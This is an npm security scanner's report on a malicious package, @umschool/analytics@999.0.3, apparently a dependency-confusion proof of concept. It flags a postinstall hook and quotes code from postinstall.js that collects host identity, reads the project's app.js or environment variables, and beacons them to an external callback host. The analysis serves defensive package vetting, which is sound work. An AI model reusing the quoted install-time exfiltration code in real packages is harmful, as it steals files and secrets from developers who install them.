@umschool/analytics@999.0.3: Malicious npm security report

Loading npm security reports…

@umschool/analytics@999.0.3: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js" },

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs postinstall.js during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

4L5: const https = require('https'); L6: const dns = require('dns'); L7: const fs = require('fs'); ... L13: L14: const hostname = os.hostname(); L15: const user = os.userInfo().username; ... L51: try { L52: const data = Buffer.from(JSON.stringify(payload)).toString('base64'); L53: const req = https.request({ ... L60: req.on('error', () => {}); L61: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L4

50function sendBeacon(endpoint, payload) { try { const data = Buffer.from(JSON.stringify(payload)).toString('base64'); const req = https.request({ hostname: CALLBACK_HTTP, port: 443, path: '/' + endpoint + '?data=' + encodeURIComponent(data), method: 'GET', timeout: 8000, }); req.on('error', () => {}); req.end();

High

Ai Review Evidence

The hook collects the hostname, username, working directory, and Linux host details, then sends them to an external host.

postinstall.jsView on unpkg · L50

76// File read beacon — app.js try { const found = findAppFile(); if (found) { const content = fs.readFileSync(found.file, 'utf8').slice(0, 2048); sendBeacon('dep-confusion-file', { msg: 'FILE READ via @umschool/analytics@999.0.3 — app.js exfiltration PoC', hostname, user, file: found.file, project_root: found.dir, content_preview: content, });

High

Ai Review Evidence

It searches parent project directories for application entry files and transmits up to 2 KB of their contents.

postinstall.jsView on unpkg · L76

88// No app.js found — send env vars as fallback impact demo const env_safe = {}; for (const k of ['HOME', 'PATH', 'NODE_ENV', 'npm[redacted]', 'npm[redacted]']) { if (process.env[k]) env_safe[k] = process.env[k]; } sendBeacon('dep-confusion-env', { msg: 'ENV READ via @umschool/analytics@999.0.3 — no app.js found, showing env', hostname, user, env: env_safe, });

High

Ai Review Evidence

If no target file is found, it sends selected environment variables instead.

postinstall.jsView on unpkg · L88